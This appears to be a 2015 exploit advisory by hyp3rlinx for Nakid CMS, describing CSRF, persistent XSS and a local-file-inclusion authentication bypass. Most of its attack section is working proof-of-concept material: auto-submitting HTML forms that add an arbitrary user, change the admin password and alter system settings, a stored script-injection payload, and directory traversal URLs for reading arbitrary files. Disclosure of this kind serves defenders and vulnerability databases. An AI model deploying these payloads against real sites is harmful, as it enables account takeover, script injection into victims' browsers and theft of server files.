1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 |
# Exploit Title:CSRF, Persistent XSS & LFI # Google Dork: intitle: CSRF, Persistent XSS & LFI # Date: 2015-06-11 # Exploit Author:John Page ( hyp3rlinx ) # Website: hyp3rlinx.altervista.org # Vendor Homepage: kilrizzy.github.io/Nakid-CMS # Software Link: kilrizzy.github.io/Nakid-CMS # Version: kilrizzy-Nakid-CMS-f274624 # Tested on: windows 7 on XAMPP # Category: webapps Vendor: ================================ http://kilrizzy.github.io/Nakid-CMS/ Product: ================================ kilrizzy-Nakid-CMS-f274624 Nakid CMS is an open source content management system built using PHP and CodeIgniter. Setup mode: ========== Under root dir for Nakid CMS we set to production mode instead of development in index.php. e.g. define('ENVIRONMENT', 'production'); Advisory Information: ================================================ CSRF, Persistent XSS &Auth bypass LFI Vulnerability Details: ===================== Multiple CSRF(s) exist: We have ability to do the following as no CSRF tokens are present. 1-Change Admin password 2-Add arbitrary users to system 3-Alter system settings XSS (persistent): XSS parameter vulnerabilities exist for the following: payloads will be stored in the MySQL database and activated when a victim visits the vulnerable webpage. XSS URL: -------- http://localhost/kilrizzy-Nakid-CMS-f274624/kilrizzy-Nakid-CMS-f274624/index.php/system/users On the "Edit Record" pop up dialog box. Vulnerable parameters: --------------------- username password email fname lname XSS URL: -------- http://localhost/kilrizzy-Nakid-CMS-f274624/kilrizzy-Nakid-CMS-f274624/index.php/system/settings On the "Edit Record" pop up dialog box. Vulnerable parameters: --------------------- from_name include_path primary_email from_email XSS URL: -------- http://localhost/kilrizzy-Nakid-CMS-f274624/kilrizzy-Nakid-CMS-f274624/index.php/system/content_edit/1 Vulnerable parameter: -------------------- title Authentication bypass LFI: Local file inclusion to bypass access controls and read aribitrary files exist by setting '$url' PHP variable on following URL index.php/connector$url Exploit POC code(s): ==================== CSRF(s): ======== Condition: Pursuade victim to visit our webpage or click our link, if they have a session then we do our CSRF!. 1- Add arbitrary user to system -------------------------------- <!DOCTYPE> <html> <head> <script> function doit(){ var e=document.getElementById('ruinurlife') e.submit() } </script> </head> <body onLoad="doit()"> <form id="ruinurlife" action=" http://localhost/kilrizzy-Nakid-CMS-f274624/kilrizzy-Nakid-CMS-f274624/index.php/grid/users" method="post"> <input type="text" name="username" value="sum1" /> <input type="text" name="password" value="abc123" /> <input type="text" name="email" value="X@X.com"/> <input type="text" name="fname" value="sum"/> <input type="text" name="lname" value="1"/> <input type="text" name="oper" value="add"/> <input type="text" name="id" value="_empty"/> </form> </body> </html> 2-Change Admin password ------------------------ <!DOCTYPE> <html> <head> <script> function doit(){ var e=document.getElementById('ruinurlife') e.submit() } </script> </head> <body onLoad="doit()"> <form id="ruinurlife" action=" http://localhost/kilrizzy-Nakid-CMS-f274624/kilrizzy-Nakid-CMS-f274624/index.php/system/profile" method="post"> <input type="text" name="username" value="admin" /> <input type="text" name="password" value="xyz123" /> <input type="text" name="email" value="hell@abyss.com"/> <input type="text" name="fname" value="hyp3r"/> <input type="text" name="lname" value="linx"/> <input type="text" name="action" value="edit_profile"/> <input type="text" name="submitbt" value="Save"/> </form> </body> </html> 3-Alter system settings ----------------------- <!DOCTYPE> <html> <head> <script> function doit(){ var e=document.getElementById('ruinurlife') e.submit() } </script> </head> <body onLoad="doit()"> <form id="ruinurlife" action=" http://localhost/kilrizzy-Nakid-CMS-f274624/kilrizzy-Nakid-CMS-f274624/index.php/grid/settings" method="post"> <input type="text" name="value" value="HELL@ABYSS.com" /> <input type="text" name="oper" value="edit" /> <input type="text" name="id" value="1"/> </form> </body> </html> XSS persistent POC code: ======================= Inject <script>alert(666)</script> into any of the following vulnerable fields described above using POST method. Need to highlight a row then click edit dialog box to edit settings. e.g. http://localhost/kilrizzy-Nakid-CMS-f274624/kilrizzy-Nakid-CMS-f274624/index.php/system/settings from_name <------- <script>alert(666)</script> include_path primary_email from_email Authorization bypass LFI: ======================== 1- Logout, create a hell.txt file or whatever and put in 'htdocs' or web root, then visit the URL (change to suit your environment). 2- http://localhost/kilrizzy-Nakid-CMS-f274624/kilrizzy-Nakid-CMS-f274624/index.php/connector$url=../../../../../../../hell.txt OR try http://localhost/kilrizzy-Nakid-CMS-f274624/kilrizzy-Nakid-CMS-f274624/index.php/connector$url=../../../../../../xampp/phpinfo.php Disclosure Timeline: ========================================================= Vendor Notification: NA June 11, 2015 : Public Disclosure Severity Level: ========================================================= High Description: ========================================================== Request Method(s): [+] GET & POST Vulnerable Product:[+] kilrizzy-Nakid-CMS-f274624 Vulnerable Parameter(s): [+] username password email fname lname from_name include_path primary_email from_email title connector$url Affected Area(s):[+] /system/users /system/profile /system/content_edit/ =============================================================== [+] Disclaimer Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere. (hyp3rlinx) |